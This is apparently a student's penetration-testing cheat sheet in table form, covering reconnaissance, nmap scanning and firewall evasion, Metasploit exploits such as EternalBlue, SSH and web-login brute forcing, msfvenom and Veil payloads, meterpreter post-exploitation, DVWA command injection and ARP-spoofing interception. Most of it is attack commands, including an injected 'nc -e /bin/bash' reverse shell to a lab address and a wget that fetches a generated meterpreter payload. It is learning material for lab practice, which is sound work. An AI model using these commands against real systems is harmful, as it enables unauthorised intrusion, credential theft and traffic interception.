|  |  |
| --- | --- |
| Black hacker, White hacker | Commands |
| **5 Stages of penetration test**   1. Information gathering/reconnaissance 2. Scanning(open port 80, 21, 53 DSN) 3. Gaining/Exploitation 4. Maintaining Access 5. Covering tracks (Remove tracks)   Note: You must follow it in order. | sudo ifconfig |
| 1. Do we have permission to attack? | pwd – current directory |
|  | cd - directory |
|  | Mkdir – add folder |
|  | rm – remove file |
|  | rm folder -r |
|  | touch – create file |
|  | echo {Description} > {name of file} |
| Virtual Machine msfadmin | cat – to read file |
|  | Nano – IS AN EDITOR |
|  | nano file3.py |
|  | python3 |
|  | mv – to move file{mv file3.py FOLDERNAME} |
|  | sudo su – ROOT USER |
|  |  |
| **Reconnaissance** | |
| Information Gathering   * Active * Passive   What information value to us?   * IP address * What software? * Phone number * Email | What tools do we need?   * Ping() erertech.com * Nglookup erertech.com * Whois erertech.com * Ipchecker.com * Whatweb erertech.com -v |
| Tool: Discovering IP Range  whatweb -help  whatweb erertech.com -v  whatweb 192.168.1.4-192.168.1.255 – aggression 3 -v –no-errors | Tool: **Getting email using the Harvester & hunger.io**  -theHarvester –help  -theHarvester -d erertech.com -b all  OR  -hunter.io 🡨 find email |
| Redhawk(software tools) | Sherlock -> python3 sherlock.py  Sudo apt update  Sudo apt install python-pip  python3 -m pip install -r requirements.txt |
|  | Python {EMAIL} https://erertech.com |
|  |  |
| **Scanning** | |
|  |  |
| TCP Three-way handshake (to server)   1. Sync 2. Sync/Ack 3. Ack | UDP is faster |
|  |  |
| Tools: |  |
|  |  |
| Not the best tool for looking for port |  |
| Arp --help | **Sudo netdiscover** |
| Arp -a | Netstat -nr |
|  |  |
| Nmap – a very use scanning tool | |
| >nmap -sC -sV -oN {folderName} {TargetIPAddress} | |
| Nmap(Checking PORTS)- Sometimes it takes hours to scan. | You have to put this information in your report  In actual penetration testing. |
| Nmap --help |
| **Nmap {IPADDRESS}** |
|  |  |
| Nmap {IPADDRESS}/24 OR Nmap {IPADDRESS}-255 |  |
|  |  |
| **Nmap -sS {IPADDRESS} –** never full connection, SYN connection – better use! | Sudo nmap -sU {IPADDRESS} |
| **Nmap -sT {IPADDRESS}** |  |
|  |  |
| man nmap – manual, really helps! |  |
|  |  |
| **Discovering Target Operating System**  Sudo nmap -O {ipaddress} | **Detecting service version on port**  Sudo nmap -sV {ipaddress}  **Sudo nmap -A {ipaddress}**  Sudo nmap -sV –version-intensity 9 {ipaddress}  nmap -sn {ipaddress}-255  **nmap -p {PORT}, {PORT} {ipaddress}** |
|  |  |
| By passing firewall | |
| Sudo nmap -f {ipaddress} – split fragment to 8 bytes | **Decoy(flood – when scanning outside network)**  -Sudo nmap -D RND:5 {ipaddress} -sS  **Decoy(flood – when scanning inside network)**  -Sudo nmap -D {ipaddress}, D {ipaddress}, {ipaddress}, {ipaddress} |
|  |  |
| Security Evasion | |
| Sudo nmap -S 8.8.8.8 -Pn -e eth0 -g |  |
|  |  |
| Vulnerability Analysis | |
| Gain access for administrator page  Sudo nmap –script auth 192.168.1.75 -sS | Gain  Sudo nmap –script malware 192.168.1.75 -sS |
| Sudo nmap –script banner 192.168.1.75 -sS | Sudo nmap –script exploit 192.168.1.75 -sS |
|  |  |
| Sudo nmap –script-help {name} | Sudo nmap –script ftp-anon.nse 192.168.175 |
|  |  |
| Manual Vulnerability Analysis and searchploit | |
| You can google the version for e.g.   1. Sudo nmap -sV {ipaddress} 2. Find version (vsftpd 2.3.) 3. Google it if theres already existing exploitation | Searchsploit {version} |
|  |  |
| Nessus Installation | |
| Vulnerability Assessment |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
| Exploitation & Gaining Access | |
| Reverse Shell  Bind Shell | **Metaploit Framework Structure – exploit different target and vulnerabilities** |
| **Cd /usr/share/Metasploit-framework 🡪 go to modules as a sample** | |
|  | |
| **msfconsole** – to trigger in shell 🡪 | Command that commonly use |
| help | Show payloads |
|  | Show exploits ->  CL: Use exploit/windows/smb/ms06\_040.netapi  NOTE: module name and the path name ->  CL: Show info or show options  NOTE: If IP address is different  CL: set LHOST 192.168.1.75  CL: set RHOSTS 192.168.1.75  CL: show targets  CL: show payploads  CL: set target {number}  CL: exploit |
|  |
|  |
| Attacking our exploitation |  |
| CL: sudo nmap -sV {ipaddress}  CL: searchsploit {version}  CL: search { version }  CL: use exploit/unix/->  CL: show payploads or show options  CL: set target {number}  CL: exploit | Netcat – allow connection to UDP and TCP  CL: nc -help  **Telnet**  **CL: Searchsploit Linux tetnetd**  **CL: search Linux telnetd**  **CL: telnet {ipaddress}** |
| **SMB**  CL: searchsploit samba  CL: searchs samba  CL: use auxiliary/scanner/smb/  FIND THE VERSION  CL: use auxiliary/scanner/smb/smb\_version  CL: use auxiliary/scanner/smb/{VERSION}  **CL: show info or show options or show payloads**  CL: set RHOSTS {IPADDRESS}  CL: run  GET VERSION  REPEAT  CL: searchsploit Samba 3.0.20  CL: user {PATHNAME}  CL: show payloads  CL: set payload {PAYLOAD-NAME} | **BRUTEFORCE – attack SSH**  CL: search SSH  CL: use auxiliary/scanner/ssh/ssh\_login  CL: show info  CL: set PASS\_FILE {filepath}  CL: USER\_FILE  CL: SET RHOST  CL: run  CL: sessions  CL: sessions 1  FROM DESKTOP  CL: ssh msfadmin@{IPADDRESS} |
| Use exploit/multi/handler | CL: set payload windows/meterpreter/reverse\_tcp |
|  | |
|  |  |
|  |  |
| Eternal Blue | |
| CL: search eternalblue |  |
| DoublePulsar Blue | |
| Need to install  Sudo su  Sudo dpkg –add-architecture i386 && apt-get update && apt-get install wine32 |  |
| BlueKeep -RDP Vulnerability | |
|  |  |
| Routersploit | |
| https://github.com/threat9/routersploit | |
| 1. Follow the instructions in github   **apt-get install python3-pip**  **git clone https://www.github.com/threat9/routersploit**  **cd routersploit**  **python3 -m pip install -r requirements.txt**  **python3 rsf.py** | CL: help  CL: search scanners  CL: use scanners/autopwn  CL: show info or show options  CL: set target {IPADDRESS}  CL: run |
|  |  |
|  |  |
|  |  |

|  |  |
| --- | --- |
| Gaining Access(Viruses, Trojan, Payloads) | |
| **Note: msfvenom** | **Virustotal.com** |
| CL: msfvenom -help or -h  CL:msfvenom -p  CL: msfvenom –list venom  CL: msfvenom –list payload |  |

|  |  |
| --- | --- |
| **Veil – generating powershell payload** | |
| CL: **apt-get install veil** |  |
| CL: veil  CL: use 1 or 2  CL: list  CL: use {22} or {Whatever on the screen}  CL: set sleep 20 {LHOST} generate |  |
| Note: fatrat – check it out in google and follow instructions | |
|  |  |
|  |  |
| getuid | |
|  |  |
| Post Exploitation – Elating Privileges, Extracting Data, Running… ----METERPRETER | |
| When inside the machine and ready to attack | |
| CL meterpreter >  CL: pwd  CL: dir  CL: ls  NOTE: Support windows command | Some of the command in, when your in windows 10 machine  >download {fileName}  >upload {fileName}  >shell – to execute the file |
| Elevated Privileges in the machine | |
| >search bypassuac – user account control  >search 2020 – all modules that can out this year  > |  |
|  |  |
| Second Coding Challenge | |
|  |  |
|  |  |
|  |  |
| Website Application Penetration | |
|  |  |
| <dirb ----🡪 Find directory in the website  <dirb http://{ipaddress} |  |
| Command Injection  >dvwa website 192.168.1.1;ls-la  Or  >nc -lvp 12345  Type this in Kali(above) and use this(below)  192.168.1.1; nc -e /bin/bash 192.168.1.85 12345  192.168.1.1 & ls -la | Getting Meterpreter shell with command execution  >msfvenom -p python/meterpreter/reverse\_tcp LHOST=192.168.1.9 LPORT=6000 >> tester.py  >sudo service apache2 start  >sudo service apache2 restart  >sudo service apache2 stop  >192.168.1.1;ls  OR  >;ls  >wget 192.168.1.85/tester.py  >;wget 192.168.1.9/tester.py  >;ls |
| 1. **Reflected XSS – only work with a link with malicious – Code injection(usually steal session and cookies)** 2. **Stored XSS – script inject (just visit website) – that is stored in the server** 3. **DOM XSS -** |  |
| Python -m SimpleHTTPServer {PORT} |  |
|  |  |
| CSRF – Cross Site Request Forgery |  |
|  |  |
| Brute Force Attack – Using **HYDRA** | |
| hydra 192.168.1.75 http-form-post "/dvwa/login.php:username=^USER^&password=^PASS^&Login=submit:Login failed" -L usernames.txt -P passwords.txt | |
|  |  |
|  |  |
|  |  |
| Man In The Middle Attack | |
|  | |
| NOTE: Need to be ROOT USER(**You need install bettercap in Kali**)  >apt-get install bettercap  >bettercap  >help  >help net.probe  >net.probe on  >help arp.spoof  >set arp.spoof.fullduplex true  >set arp.spoof.targets {ipaddress}  >help  >set net.sniff.local true  >arp.spoof on  >net.sniff on  Note: If you want to run previous – You need to create a sniff.cap  >bettercap -iface eth0 -caplet sniff.cap |  |
|  | Alternative: ETTERCAP  >cat /proc/sys/net/ipv4/ip\_forward  Note: If its enable packet forwarding 0 or 1  >echo 1 > /proc/sys/net/ipv4/ip\_forward  Note: To start, It will pop a window  >Ettercap -G |
|  | Can code using scapy instead of python |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |